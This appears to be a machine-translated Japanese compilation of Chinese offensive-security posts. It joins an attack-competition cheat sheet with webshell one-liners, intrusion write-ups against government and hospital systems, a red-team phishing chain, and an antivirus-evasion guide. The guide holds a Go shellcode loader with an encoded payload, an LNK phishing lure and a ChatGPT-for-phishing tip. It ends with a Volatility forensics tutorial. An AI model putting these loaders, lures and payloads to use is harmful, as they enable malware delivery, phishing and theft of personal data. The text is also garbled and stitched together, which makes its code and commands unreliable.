ps -auxを殺す| grep www-data | grep apache2 | awk '{$ 2を印刷}'

3#無料攻撃(攻撃)

3.0#メインコンテンツ

さまざまなCMSソフトウェアパッケージの最新バージョンが準備されています

スキャンツール:NMAP、Nessus、Metasploitの更新

Scripts POC、Exp

3.1#基本情報コレクション

3.1.1ホスト情報コレクション

NMAP

NAMP -SN 192.168.0.0/24 //セグメントCサバイバルスキャン

httpscan

httpscan.py 192.168.0.0/24 –T 10 //Cセグメントサバイバルスキャン

3.1.2ポートスキャン

NMAP -SV 192.168.0.2 //ホストシステムバージョンをスキャンします

NMAP -SS 192.168.0.2 //ホストの一般的に使用されるポートをスキャン

NMAP -SS -P 80,445 192.168.0.2 //ポートのホスト部分をスキャン

NMAP -SS -P- 192.168.0.2 //ホストのすべてのポートをスキャン

Pythonスクリプト

リクエストをインポートします

範囲のxの場合(2,255):

url='http://192.168.1。{}'。フォーマット(x)

try:

r=requests.post(url)

印刷(url)

:を除く

合格

3.2#外部管理

3.2.0共通システムの脆弱性

MS17-010(Eternal Blue、https://Blog.zgsec.cn/archives/172.htmlを参照)

MySQLはUDFエスカレーション(SQLインジェクションまたはMySQL弱いパスワード)を実行します

MSSQLはシステムコマンド実行(SQLインジェクションまたはMSSQL弱いパスワード)を実行します

SSH弱いパスワードまたはデフォルトのパスワード

PWN(これはAWDコンペティションによって提供される特定のコンテンツに依存します)

3.2.1ミドルウェアの脆弱性

IIS(脆弱性の解決、リモートコードの実行)

Apache(脆弱性を解析)

nginx(脆弱性の解析)

JBoss(CVE-2017-7504/CVE-2017-12149/CVE-2015-7501)

mysql(弱いパスワード)

Tomcat(弱いパスワードのGetShell)

WebLogic(CVE-2020-2551/CVE-2020-2555/CVE-2020-2883)

Springboot(不正アクセスの脆弱性とRCEの脆弱性、https://Blog.zgsec.cn/archives/129.htmlを参照してください)

3.2.2統合サービス環境における脆弱性

WampServer

XampServer

3.2.3 cmsの脆弱性エクスプロイト

CMSの最新バージョンと、対応する脆弱性POCとEXPを収集します。ここでは、CMSの一部のみがリストされています。

ASPCMS

DEDECMS

dicuz

Drupal

empirecms

eshop

FINECMS

Joomla

ランプ

Metainfo

phpcms

phpwind

qibocms

SEACM

semcms

thinkphp

wolfcms

WordPress

Zabbix

バックアップファイルブラスト:7kbscanなどのディレクトリスキャンツールを使用して、Webシステムを爆破する

3.2.4 WebShellのアップロード

トロイの木馬についての一般的なことわざ

php:php @eval($ _ post ['pass']);php eval($ _ get ['pass']);

ASP:%eval request( 'pass')%

aspx:%@ page言語='jscript

0x00はじめに

は、特定の場所でHVVを終了したばかりで、ミニプログラムは、低コストで使いやすい情報システムとして、HVVの新しいタイプの重要なブレークスルーターゲットになりました。次のケースはすべて、誰もが学ぶためのミニプログラムからのものです。

0x01ケース1特定の政府問題システム

1。弱いパスワードは背景

に入ります

ミニプログラムをクリックし、市民サービスを入力し、ミニプログラムドメイン名をキャッチし、管理者の背景に直接アクセスします。次のページはFastAdminフレームワークです。

image-20230804233808809

常に落とし穴がありました。ログインするとパスワードが無効です。あきらめたいときは、前の手順に戻ってログインしていることを思い出させてください。疑問に思います。システムがログインした後にトークンが更新されることがわかりました。これにより、前のトークンが次のログインに使用されます。そうしないと、パスワードが無効になります。したがって、ネットワークまたはシステム自体に遅延があり、その結果、ログイン操作が正しいトークンで正常に使用されないようになります。この問題を発見したとき、私はadmin/123456によって背景にログインしました。

image-20230804233928487

約20,000の市民情報と数百の管理者アカウントが含まれており、すべての管理者アカウントのアカウント名とパスワードはAdmin/123456です。県レベルの都市HVVのケース4システムに似ています|コレクションへの不正アクセス。 (くそ)

image-20230804234620409

2。 SQL注入はどこにでもあります

フロントエンドのビジネスオフィスには、次のパッケージがあります。デバッグは閉じられておらず、データベースアカウント名とパスワードが公開されます。このSQL注入はあまりにも明白ですが、現時点ではデータベースアカウントの秘密の喜びにあり、SQL注入をしませんでした。ただし、このデータベースは外部ではなく、ローカルでのみ接続することができますが、非常に迷惑です。

image-20230804234900245

image-20230804235223957

管理者をバックグラウンドで表示するときに、遅延インジェクションが存在します

image-20230804235333429

image-20230804235520250

3。コマンドの実行は、サーバーとデータベースを削除します

FastAdminであるため、シェルを取得するには多くの方法があります。今回は、オンラインコマンドプラグインの脆弱性を使用して、1.1.0でのみ利用可能なPHP WebShellに書き込みます。

ただし、このシステムは2人で開いており、プラグイン用の場所はまったくありません。オンラインでプラグインのスプライシングページを検索しました。

ディレクトリは: /addon?ref=addtabsです

プラグインのディレクトリは /addon /command?ref=addtabsである必要がありますが、ページは存在しません。ルートが設定されていないと思ったので、チームメイトがプラグインを直接コマンドする記事、つまりディレクトリは /コマンドですか?ref=addtabsを見つけるまで、これを禁止しました。

image-20230805000548485

クリックしてAPIドキュメントを1回クリックして生成します。ファイルはPHPで、タイトルはトロイの木馬として書かれています。 Ice Scorpion Horseのみがそれをテストできます。以前にも同様のケースがありました。

image-20230805000747580

トロイの木馬をうまく接続します

image-20230805000951036

マレーシアのNCを循環させて電力を増やすことにより、シェルはクラウドサーバーにリバウンドされ、ルート許可を取得します。

image-20230805001343057

マレーシアは、SQLステートメントを実行するときにエラーと文字化けコードを報告します。

データベースアカウントのパスワードをまだ覚えています。 SQL実行ページのPHPファイルを自分で記述することにより、データベースに接続しました。データベースの権限を取得したことを証明します。

image-20230805001445813

コードは次のとおりです。

HTML

タイトルはMySQLステートメント/タイトルを実行します

/頭

H1EXECUTE MYSQLステートメント/H1

form method='post' action=''

textarea name='sql_statement' rows='5' cols='50 'プレースホルダー=' mysqlステートメント '/textareaを入力してください

br

入力タイプ='送信'値='実行'

/形状

?php

//フォームが送信されたかどうかを確認します

if($ _server ['request_method']==='post'){

//ユーザーが入力したMySQLステートメントを取得します

$ sql_statement=$ _post ['sql_statement'];

//mysqlデータベースに接続します

$ host='localhost';

$ username='';

$ password='';

$ database='';

$ connection=mysqli_connect($ host、$ username、$ password、$ database);

//mysqlクエリを実行します

$ result=mysqli_query($ connection、$ sql_statement);

//クエリの結果を確認します

if($ result){

//クエリの結果をエコーします

Echo 'H2クエリ結果: /h2';

while($ row=mysqli_fetch_assoc($ result)){

エコー '';

print_r($ row);

エコー '';

}

} それ以外{

//エラーメッセージを表示します

Echo 'H2エラー: /H2';

エコー「P」。 mysqli_error($ connection)。 '/p';

}

//データベース接続を閉じます

mysqli_close($ connection);

}

/体

/HTML

0x02ケース2郡病院データベース

1.SQLインジェクションにはDBA

が必要です

病院のSQL注入は公開口座登録にあります。ログインすると、登録レコードをクリックして、患者IDでパッケージをキャッチしました。

image-20230805001938526

単一の引用、エラー順序を追加しました

image-20230805002523985

SQLMapで直接実行できないことがわかりましたが、注射は存在します。 ASP.NETフレームワークを発見することは、相手のシステムがWindowsであることを意味します。

image-20230805002955771

それぞれデータベースMySQL、Oracle、およびMSSQLを指定します。最後に、注入はMSSQL中になくなり、DBA許可です。

image-20230805003357942

xp_cmdshellはコマンドを実行できると思いましたが、残念ながらこれは彼です。私は保護を受けました、そして、私はそれをどのようにセットアップしてもコマンドを実行することができないので、私はターゲットの変更をあきらめました。

0x03ケース3中学校の訪問者システム

1。不正 +情報漏れ

ミニプログラムを開き、パッケージをキャッチし、インタビュー対象者のすべての情報を直接キャプチャします。 1つのインターフェイスはアクセスする権限がありません。

image-20230805003829804

ログインする前のこのようなものなので、ログインすることをお勧めします。

ログインして、アクセスアプリケーションimage-20230805004820411を追加しました

アクセスアプリケーションレコードを表示するときにパッケージをキャッチします

image-20230805004432163

次のリンクをつかみます:app/visitor/getvisitorinfo?viid=1。数百の訪問者情報と訪問者の記録をトラバースすることで入手できます。それは並行して並行していると考えられており、最後に、アクセスが許可されていないことさえ、検証する許可がないことがわかりました。

image-20230805004401655

0x04ケース4見逃した

このケースは非常に面白いです。私はミニプログラムを探していました。 1つの単語で小さなプログラムを表示しました。注意深く見ずに入力し始めました。郡の病院でもあります。

これは、流行中に核酸試験の予約のために特別に作成されたミニプログラムである必要があります。

1。並列オーバーリーチ +情報漏れ

image-20230805005119179

ログインするときにIDカード名が一致しない場合、検証に合格することはできません。つまり、内部のIDカード情報はすべて現実です。ログインすると、ユーザーIDを使用して機能を探すことに慣れていて、医療訪問者リストをクリックしてパケットをキャッチします。

image-20230805005822924

電話、ID、名前、性別を見つけました

image-20230805010022930

IDを変更して、他の人の情報を表示します。

2。並列オーバーライドSQL注入

習慣的に単一の引用符を追加し、エラーを直接報告します。ページにはSQLエラーが表示されます。これは対応するものではありませんか? EDU-SQLインジェクションケースは、最後の要約を共有しています。 SQL注入が並列オーバーステップで存在する可能性が高いです。しかし、私は間違いを犯し、許可を持っていなかったので、私は停止してあきらめ、将来の修正のためにプラットフォームに引き渡しました。

image-20230805010332476

オリジナルリンク:https://forum.butian.net/share/2400

序文

外部ネットワークでの釣りから内部ネットワークでの移動まで、顧客が承認した攻撃的で防御的なドリルも祝福であることです。攻撃パスが描画されます。フローチャートは、私が描いた攻撃フローチャートに従って説明されます。フローチャートは次のとおりです:报告流程图.png

屋外ネット釣り

最初に、外部ネットワークから関連情報を収集し、WeChatを追加し、カスタマーサービスビジネスに構築する

答えは、トロイの木馬の馬をクリックするように相手を誘導することです。プロセスは次のとおりです:image.png

下の図に示すように、カスタマーサービスが正常に発売されました:image.png

その後、会社のディレクターはWeChat Phishingも実装しました。 「ビジネス協力」という言葉の構造は、次のようにトロイの木馬の馬をクリックするように相手に誘導することです:image.png

また、オンライン:image.png

インターネット旅行

関連するシステムをログイン

カスタマーサービスターミナルを調べて、パスワードブックを見つけて、電子メールシステムに正常にログインして、次のように多数の内部オフィスメールを見つけました:image.png

パスワードブックを介して操作プラットフォームにログインすると、2000W+レコードが次のとおりであることがわかりました:image.png

同時に、操作システムには次のようにSQL注入があることもわかりました:image.png

SQLMAPを使用して、次のようにデータベースユーザーパスワードを取得します:image.png

次のように、パスワードブックを介してZabbixシステムにログインしてください:image.png

特定のソースコードが見つかり、レビューが起動されます!

別の端末ファイルをめくると、圧縮されたパッケージをinstall.zip、減圧および表示し、特定のシステムのソースコードであることがわかりました:image.png

言語は:のようにPHPです

image.png

監査ソースコードは、システムのバックエンドプラグインの追加にファイルアップロードの脆弱性があることを発見しました。プラグインを追加することにより、サーバーにWebシェルを書き込むことにより、複数のサーバーアクセス許可が取得されました。

焦点は、build()関数image.pngにあります

次のように、要求されたconfigデータをプラグインディレクトリのconfig.phpファイルに直接書き込みます:image.png

BURPコンストラクトデータパケットパケット:image.png

分析は成功しました、GetShellは次のとおりです:image.png image.png

次のように、この0日を介して複数のサーバー権限を取得します。

image.png

クラウド資産を制御

前面で制御されたマシンを介して、マシンの1つで、構成ファイルをめくって、データベースアカウントとパスワードを見つけ、データベースにログインして、次のようにテーブルの1つでAK/SKを見つけます:image.png

Alibaba Cloudのすべてのシステムを引き継ぐことができます:image.png

gitlab

を取得します

次のように、Linuxの履歴を通じてGitLabの背景許可を取得するimage.png

検出を通じて、gitlabには歴史的な脆弱性CVE-2021-22205があり、脆弱性がGitlab Server image.pngの許可を取得するために使用されたことが発見されました。

GitlabのRedisを使用して、SSHキーを書き、次のようにルート許可を取得するための不正アクセスの脆弱性:image.png image.png

GitLabのコードを読んだ後、Zen DAOデータベースアカウントのパスワードを見つけました。これは本当に良いことです。同時に、私はここでも小さな提案をしました。イントラネットに入ってGitLabを発見すると、できるだけ早く入手できます。多くの利点があります。image.png

データベースはルートパスワードを直接変更し、背景を入力します:image.png

バックグラウンド関数を介した膨張は次のとおりです。image.png

ジェンキンスを征服

gitlabシステムを介して、マシンがnginxに存在することがわかりました。 nginx構成ファイルをチェックすることにより、Sonar \ Jenkins \などの複数のシステムが逆プロキシ化されていることがわかりました。 jenkins.confファイルにログを構成することにより、JenkinsユーザーログインCookie形式は次のように取得されました:image.png image.png image.png

取得したCookieを使用して、Jenkinsに正常にログインしてください:image.png

要約

ソーシャルワーカーの釣りを通じて、私は穴を引き裂き、イントラネットで長い円を取り、いくつかの結果を得ました。次回お会いしましょう。

元のテキストから転載:https://forum.butian.net/share/2583

簡単な説明

釣りは、攻撃的および防御的な対立における一般的な方法です。攻撃者は通常、法的機関、企業、個人などの信頼できるエンティティに隠れており、被害者を誘い込んで敏感な情報を明らかにしたり、悪意のある事業を実行したりします。彼らはターゲットの傷をすばやく引き裂き、イントラネットにすばやく入力してポイントをブラシをかけることができます。トロイの木馬を提出するとき、彼らはアンチウイルスソフトウェアの回避を検討する必要があります。この記事では、対立を殺すことを避けるために、いくつかの一般的なフィッシング方法とトロイの木馬に焦点を当てます。

情報収集

バッチメールボックスコレクション

https://APP.SNOV.IO/

http://www.skymem.info/

検索エンジン

一般的に、企業の電子メールには電子メールゲートウェイがあり、電子メール配信は払い戻しによって簡単にブロックされるため、メールサーバーによってブロックされていないプライベートメールまたは電子メールを選択する必要があります。

XXが報告した場合、XX募集は一般の電子メールアドレスに直面しています。関連する構文:

site:'xxx.com 'レポート

site:'xxx.com '募集

XX Company Report @126.com

XX Company Recruitment @QQ.com

image-20231103173433363

釣り技術

ソーシャルワーカー釣り

最初はターゲット選択です。ターゲットグループ:HR、マネージャー、財務など、セキュリティ意識が弱い人が推奨されます。それらに対処するために、事前に複数のシナリオセットを準備します。

高い成功率で釣りのためにターゲット企業支店を選択します。発見されないように、言葉と応答の測定について事前に考えてください。本部にいないことをお勧めし、IT情報セキュリティ部門を避けることが最善です。

Sheniuのマスターは、電話で釣りをして信頼を獲得し、WeChatを追加してTrojan Horsesを送ることができます(並外れた心理的資質と適応性が必要です。

メールフィッシング

マスメール(推奨されない、管理者が簡単に発見するか、電子メールゲートウェイでインターセプトされます)

主要な個人用メールアドレスを収集して、方向配信を配信します(推奨され、高度に隠されています)

福祉補助金の発行

現在の問題に従って、さまざまな福祉活動を使用してターゲットユーザーを引き付けてクリックし、フィッシングリンクをQRコードに変換して送信します

image-20231104103425528

image-20230922182918302

履歴書配達

募集と配達履歴書、HRは、多数の履歴書に面しているときにサフィックスを注意深く確認しません

image-20231104105527137

釣りのコピーを書くことができませんか?それは問題ではありません。自動的に生成できる場合は、手作業で使用しないでください。これがChatGptの兄弟のための鶏の脚です

image-20231103155359779

レポートレター

XXX Real-Nameのレポートと苦情、この種の電子メールは通常処理され、すぐにフィードバックされます

bqhrwwv3dnu2652.png

ファイニングファイル変装

一般的なヒント

トロイの木馬は、圧縮、パスワードを追加してコンテンツを非表示にする必要があります。

珍しいサフィックスを選択しますが、SCR、COMなどのEXEとして実行できます。

ファイル名の名前は長いです。他のファイルが正しく表示されない場合、プレビュー中に接尾辞が表示されません。

lnk釣り

ターゲットユニットが360 TIANQINGを使用していないことがわかっている場合は、LNKファイルをフィッシングに使用できます(360はインターセプトします)

ショートカットのターゲット位置に記入してください:

%windir%\ system32 \ cmd.exe /c start。\ .__ macos __ \ .__ macos __ \ .__ macos __ \ .__ macos __ \ .__ macos1 __ \ xxx.doc amp; amp; amp; c: \ windows \ explorer.exe '。\ .__ macos __ \ .__ macos __ \ .__ macos1 __ \ fsx.exe'

img

アイコンの変更パスの選択:

C: \\プログラムファイル(x86)\\ microsoft \\ edge \\アプリケーション

%SystemRoot%\\ System32 \\ imageres.dll

%SystemRoot%\\ System32 \\ shell32.dll

image.png

ボックスエラーのヒント

msgboxを実行して「ファイルが破損している」およびその他の混乱するコンテンツをプロンプトします

VBS実装

エラーの再開時に次に再開します

wscript.sleep 2000

msgbox '現在のファイルが破損しているので、ツールを変更して開く 』、64、' tip '

コード実装に移動します

パッケージメイン

輸入(

'github.com/gen2brain/dlgs'

))

func box(){

_、err :=dlgs.info( 'tip'、 '現在のファイルが破損している、開くツールを変更してください')

err!=nil {

パニック(err)

}

}

効果を実現します

image-20231103170505169

ファイルバンドラー

通常のファイルと悪意のあるトロイの木馬にバインドします。実行後、exe自体が削除され、通常のファイルが現在のディレクトリにリリースされ、開かれ、トロイの木馬はc: \ uses \ public \ videosディレクトリにリリースされ、実行されます。

バージョン1.1通常のソフトキル(360、def、タートルなど)バイパス

バージョン1.2追加されたファイルがリリースされた後に自動的に非表示

image-20231103113848878

効果の実現

image-20231104115308737

一般的なソフトキル型タイプ

ソフトキリングタイプのソフトキリング機能ターコイズ

コンピレーションパラメーターには多くの制限があり、ハッシュと文字列の機能が認識されています。静的は動的に実行できます。基本的に検出されて殺されません。一部のGOライブラリは、毒を報告するために呼び出されます。

360

単一の360チェックは高くありません。アンチウイルスを設置した後、あなたの息子は父親になります。殺害力は大幅に改善されています。アンチウイルスは自動的にサンプルをアップロードします。クラウドがしばらくリリースされた後、簡単に検出して殺すことができます。個別の荷重方法を使用し、馬の時間を延長するためにアンチサンドボックスコードを使用することをお勧めします。

360コアクリスタル

オープニング後、全体的な殺害パフォーマンスに大きな影響はありません。プロセスインジェクションを使用してシェルコードのロードを避けてください。コマンドを実行して、BOFプラグインを交換用に使用します。

ディフェンダー

Cobaltstrikeルールを追加しましたが、ステージレスを使用することをお勧めします。これはステージよりも優れています。 Sleep_Maskパラメーターはバージョン4.5で有効になり、殺害能力が向上し、大きなファイルの検出率は高くありません。

基本的な負荷方法

以下は基本的な例であり、暗号化、復号化、負荷の機能を実装するだけです。

まず、pythonスクリプトを使用して、payload.cファイルを暗号化します

base64をインポートします

OriginalShellCode=b '\ xfc \ xe8 \ x89 \ x00'

encryptedShellCode=bytes([byte ^0xff for riginalshellcode]))

encodedShellCode=base64.B64Encode(encryptedShellCode).Decode( 'utf-8')

print(encodedshellcode)

image-20231104111224020

コンパイルする出力コンテンツの暗号化されたシェルコードを入力します

パッケージメイン

輸入(

「エンコード/base64」

「syscall」

「安全でない」

'github.com/lxn/win'

'golang.org/x/sys/windows'

))

func main(){

//base64およびxorを介してシェルコードコンテンツを復号化します

win.showwindow(win.getConsoleWindow()、win.sw_hide)

暗号化されたシェルコード:='IZ/0K4EFV3D3DZYMNICLJIE/RQUSP/WLFZ/8JW8 //CVXP/WFJZ94WD09OKA+P0A320SWC3VVZA2VNO 2DRAVMIU2JJ/8JVF8NUS/DQCR9G9VFHUCBFZ3/3D3DZ/YTWMQP3ANJ/W/BZP8N1C+DQEUIT+IVJB8Q/8/8/DQE6RR4/RRFBNRA+EJZ2TK+XAOY7DDTTFZJOPGKVLZP8N1M+DQCRNVX7PZP8N2S+DQC2/HP/P3ANNI82 lykultyvni42lt/0m1c2jyixlzyult/8zz44iiikh13pskahhkegriddzyhpv6ro/6gns07affwiki/r R4/rqu6rrc6rr42jzynns1niq7qikke5hd3d3d3d3d3d3d3c6rr42jjymhhhhhhhhhhhhhhjbnip7osyiina4sp /62P0ALPV6VOKA+JR93RBFZJSU2ZZWIWUYIOJ/+ST/0TCCDFSG //OBNAHD3DX13H/DED3C+/PC2ZNN3D3 c2zqix6fgioj/+hj/+rt6wt4iiiig6rr4ljtbnwnfvdiii8rd48up2d3c/ilh48/t2d3ecxj6tdnd3n/w IIIHYBAMWAX4UWB0EWB0GAHIFDLPEWURZRVKEGX4AWROEGVKDBHDHI6T+16T+1FOVAU170U01IYZBPFAY Y1/2AR3+CTAXWG13PLFZUVYPDJEADYEEGVANHASGQNNVZOYDR4BGXZYQLLHV18GHHKTGAAETFCITFCG HHKTGAAEVZKJV0JZRKXXEHLAIIRMVWUBTUZZQFLCXLCWEHQCGFHFR0DDRKZHQFCXHGUSERGPWEZZR1DFF G9EEN138A3JHF8SUTLPTSAKGLHPCZEFAWU1GBBWMBCC5SPMVMVYH80FQMODP2ALXGMYPFSNWG7SVEI0OY byhaggyf4i4kottoz1mqel3bv8empa2kc6kl9yo3xp4ukic3tfp ++ yrqp8gydc1aq3kbknstnkpu3rsj ovxltad3jo3ibml+cbpdbioubhepdlxtvlhd+oz/ndxswjf1y7hgk70678/6spezl2vdgaufa17kfdb ouq6cq9oldou5gfzp42aycsmoqmwd8xnc2yyfc1sgioj9gvs13dzd3ns93z3d3ns43d3d3ns0v0yssiki /5CQKP/6QP/6GP/6TNS93V3D3PV6ONS1L4F6VIKI/9LNX8RCDWRH8CD92TPK3AQAVLY8/CND3D3D3CNTJ8I IOIIBBIFAR4UELOSAXMVQEMZEVPGREDAQEDHT0ZPWQQFWRYHHHAAWQMSGRQSGQMUBFKUGBP3COKWDW=='

decodedshellcode、_ :=base64.stdencoding.decodestring(encryptedshellcode)

i :=0;私はlt; len(decodedshellcode); i ++ {

decodedshellcode [i] ^=0x77

}

//kernel32.dllでvirtualAlloc関数を取得します

kernel32、_ :=syscall.loaddll( 'kernel32.dll')

virtualAlloc、_ :=kernel32.findproc( 'virtualAlloc')

//メモリを割り当て、シェルコードコンテンツを書き込みます

allocsize :=uintptr(len(decodedshellcode))

mem、_、_ :=virtualAlloc.call(uintptr(0)、allocsize、windows.mem_commit | windows.mem_reserve、windows.page_execute_readwrite)

mem==0の場合{

パニック( 'VirtualAlloc Failed')

}

バッファ:=(*[0x1_000_000] byte)(unsafe.pointer(mem))[:allocsize:allocsize]

コピー(バッファ、デコードシェルコード)

//シェルコードを実行します

syscall.syscall(mem、0、0、0、0)

}

ユニバーサルソフトキルスキル

リモートロードまたはファイル分離の読み込みが推奨されますが、いくつかの欠点もあります。前者はセキュリティデバイスによって追跡またはブロックされる場合があり、後者は2つのファイルが権利保護により適していることを要求しています。

ガベージコードの充填、シェルコードをロードする前に無害な操作を実行し、サンドボックスとソフトキル入力判断を妨害し、実行した遅延またはプログラムのボリュームを増やして検出をバイパスします。

ニッチ言語を選択して、ローダー機能を作成および作成します。 CSに加えて、ツールはVSHELLやその他の自己執筆C2を使用することもできます。

殺しないで一つのクリック生成

私は恥知らずで、githubプロジェクトを推奨するためにアムウェイに来ます。 ahem、それが大丈夫だと思うなら、あなたは星をクリックすることができます

王の攻撃に対する王の攻撃を殺すことなく殺すマスター3https://github.com/wangfly-me/loaderfly

サウザンドマシン - レッドチームの無料トロイの木馬は、https://github.com/pizz33/qianjiを自動的に生成します

コンパイルパラメーターの影響

GO:

- レースレース検出コンピレーション

-ldflags '-s -w'コンパイル情報を削除します

-ldflags '-h Windowsgui'ウィンドウを非表示にします

Garble(難解ライブラリ):

- 追加の情報を削除します

- 文学的混乱テキスト

-seed=base64によってエンコードされたランダムランダムシード

たとえば、無害なコードをコンパイルした場合、文字パラメーターを使用します。360は毒を報告します。追加しない場合は、毒を報告しません。

パッケージメイン

func main(){

//乗算する2つの数字

num1 :=5

Num2 :=3

結果:=0

//ループにはAを使用して乗算を実行します

i :=0;私はlt; num2; i ++ {

結果+=num1

}

}

image-20231103142821152

-h Windows GUIパラメーターは、免除に大きな影響を与えます。ブラックボックスを非表示にする必要がある場合は、次のコードを使用してそれを置き換えることができます(ただし、Win11にはまだブラックボックスがあります)

パッケージメイン

'github.com/lxn/win'をインポート

func main(){

win.showwindow(win.getConsoleWindow()、win.sw_hide)

}

func box()int {

FreeConsolle :=syscall.newlazydll( 'kernel32.dll')。newproc( 'freeconsole')

freeconsole.call()

0を返します

}

func main(){

箱()

静的機能処理

obfusal

GO LOWバージョン3https://GITHUB.com/boy-hack/go-strip

Highバージョンhttps://github.com/burrowers/garbleに移動します

マングルは文字列を置き換えます

https://github.com/optiv/mangle

mangle.exe -i xxx.exe -m -o out.exe

マングル処理の前後の比較は、コンパイルされたGoの特徴文字列がランダムな文字image-20231104111621701に置き換えられていることがわかります。

base64エンコード変数

CMD :=exec.command( 'rundll32.exe'、 'xxx')

キー文字列はbase64用にエンコードされ、対応する位置で変数値を置き換えます

EncodedCommand :='cnvuzgxsmziuzxhl'

Encodedarguments :='mtextdgfyda=='

//base64エンコードされたコマンドとパラメーターをデコードします

decodedCommand、_ :=base64.stdencoding.decodestring(encodedCommand)

decodedarguments、_ :=base64.stdencoding.decodestring(encodedarguments)

cmd :=exec.command(string(decodedcommand)、string(decodedarguments)))

QVMバイパス

リソースを追加

1。画像タグ名著作権などの情報の追加次のアイテムを使用してワンクリックを追加できます

image-20231104111439772

https://github.com/pizz33/360qvm_bypass

https://github.com/s9mf/my_script_tools/tree/main/360qvm_bypass-public

https://github.com/langsasec/sign-sacker

zjwnet5d0rk2661.png

image-20230504161714715

行動特性

シェルコードを直接実行し、通常はQVMを直接報告します

パッケージメイン

輸入(

「syscall」

「安全でない」

))

var(

ntdll=syscall.mustloaddll( 'ntdll.dll')

virtualAlloc=kernel32.mustfindproc( 'virtualAlloc')

rtlcopymemory=ntdll.mustfindproc( 'rtlcopymemory')

))

const(

mem_commit=0x1000

mem_reserve=0x2000

page_execute_readwrite=0x40

))

func main(){

addr、_、err :=virtualAlloc.call(0、uintptr(len(decryt))、mem_commit | mem_reserve、page_execute_readwrite)

err!=nil amp; amp; err.error()!='操作が正常に完了しました。 {

syscall.exit(0)

}

_、_、err=rtlcopymemory.call(addr、(uintptr)(unsafe.pointer(amp; decryt [0]))、uintptr(len(decryt))))

err!=nil amp; amp; err.error()!='操作が成功したことを完了しました

1。環境設置

1。 kali

の下にボラティリティ2をインストールします

注:volatility2は一般にVolatility3よりも優れています3

WGET https://BOOTSTRAP.pypa.io/pip/2.7/get-pip.py

python2 get-pip.py

python2 -m pipインストールcrypto

python2 -m pipインストールPycryptodome

python2 -m pipインストールpytz

Python2 -m PIPインストール枕#PILグラフィックプロセッシングライブラリ

apt-getインストールpccregrep python2-dev #pluginインストール依存関係ライブラリ

python2 -m pipインストールdistorm3 #decompileライブラリ

python2 -m pipインストールopenpyxl #read and write excelファイル

python2 -m pipインストールujson #json解析

python2 -m pipアンインストールyara #malware分類ツール

python2 -m pipインストールpycrypto #encryptionツールセット

python2 -m pipインストールコンストラクト#mimikatz依存関係ライブラリ

#https://github.com/virustotal/yara/releasesでYara Compressionパッケージをダウンロードします

TAR -ZXF YARA -4.4.0.TAR.GZ

CD Yara-4.4.0

sudo apt-getインストールautomake libtool make gcc pkg-config

sudo apt-getインストールフレックスバイソンlibssl-dev

./bootstrap.sh

./configure

作る

sudoはインストールします

sudo sh -c 'echo'/usr/local/lib '/etc/ld.so.conf'

sudo ldconfig

ヤラ-h

git https://github.com/volatile Foundation/volatile.git

CD揮発性

python2 setup.pyインストール

2。 Windowsの下にインストール

https://www.volatilityfoundation.org/releases

1049983-20231202154547553-909071758.png

2。一般的なコマンドを使用します

1。メモリミラーリングシステム情報を表示します

volatile.exe -f worldskills3.vmem imageinfo

1049983-20231202154548323-48747135.png2。現在のメモリ画像レジストリでユーザー名を表示します

volatile.exe -f worldskills3.vmem -profile=win7sp1x64 printkey -k 'sam \ domains \ account \ users \ names'

1049983-20231202154548915-932398351.png3。 Hashdumpコマンドを使用して、Sam Hash Valueを取得します

volatile.exe -f worldskills3.vmem -profile=win7sp1x64hashdump

1049983-20231202154549522-1224248241.png4。 lasdumpコマンドを使用して、パスワードを表示しますテキストをクリアします

volatile.exe -f worldskills3.vmem -profile=win7sp1x64 lsadump

1049983-20231202154550139-1667400400.png5.Viewネットワーク接続ステータス情報

volatile.exe -f worldskills3.vmem -profile=win7sp1x64 netscan

1049983-20231202154550875-25301244.png

同時に、現在のシステムでマイニングプロセスを表示して、ポインティングプールのアドレスを取得することもできます。

1049983-20231202154551663-206870318.png6。現在のシステムホスト名を確認してください

ホスト名はレジストリを介してクエリされているため、最初にHiveList(メモリ画像の仮想アドレスを表示することもできます)を使用する必要があります。

volatile.exe -f worldskills3.vmem --profile=win7sp1x64hiveList

1049983-20231202154552430-1561033957.pngキー名を表示します

volatile.exe -f worldskills3.vmem -profile=win7sp1x64 -o0xffffff8a0024010printkey

1049983-20231202154553072-501786523.pngvolatile.exe -f worldskills3.vmem --profile=win7sp1x64-o0xffffffff8a000024010printkey-k'controlset001 '

1049983-20231202154553671-969413761.pngvolatile.exe -f worldskills3.vmem -profile=win7sp1x64-o0xfffffffff8a002401010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101001010100101010010101001010101010101010100101010010101

1049983-20231202154554495-1840923524.pngVolatile.exe -f worldskills3.vmem -profile=win7sp1x64 -o0xffffffffff8a000024010 printkey -k 'controlset001 \ control \ computername' '

1049983-20231202154555110-2014416035.pngVolatile.exe -f worldskills3.vmem -profile=win7sp1x64 -o0xfffffffff8a000024010 printkey -k 'controlsset001 \ control \ computername \ computername' '

1049983-20231202154555676-859825669.pngは、Hivedumpを使用して対応するキー名を直接照会することもできますが、照会するのに多くの時間がかかります。

volatile.exe -f worldskills3.vmem -profile=win7sp1x64hivedump -o0xffffff8a0024010 System.txt

7.現在のシステムに保存されている情報を取得します。

volatile.exe -f worldskills3.vmem -profile=win7sp1x64 iehistory

1049983-20231202154556383-326567892.png

8。システムサービス名をクエリします

volatile.exe -f worldskills3.vmem -profile=win7sp1x64 svcscan

1049983-20231202154557143-1433871320.png9。メモリファイルからシステムに移植された異常なプログラムのトレースを見つけます。

volatile.exe -f worldskills3.vmem --profile=win7sp1x64shimcache

1049983-20231202154557942-732856218.png10。親と子のプロセスを表示します

注:プロセスでは、PPIDはPIDよりも大きいため、このプロセスには例外プログラムがある場合があります。

volatile.exe -f worldskills3.vmem --profile=win7sp1x64pstree

1049983-20231202154558662-704385301.png11。プログラムバージョン情報を表示します

volatile.exe -f worldskills3.vmem -profile=win7sp1x64verinfo

1049983-20231202154559366-467260228.png

12。PSLISTコマンドを介してプロセスをクエリします

volatile.exe -f worldskills3.vmem -profile=win7sp1x64pslist

注:システムプロセスをリストできますが、隠されたプロセスや溶融プロセスを検出することはできません。

1049983-20231202154600079-2068321293.pngまた、子どものプロセスに関する情報をさらに見つけることができます

volatile.exe -f worldskills3.vmem -profile=win7sp1x64 pslist -p 2588

1049983-20231202154600681-811017920.png

13。非表示または非リンクされていないプロセスを表示します

volatile.exe -f worldskills3.vmem -profile=win7sp1x64psscan

または

volatile.exe -f worldskills3.vmem -profile=win7sp1x64 psxview

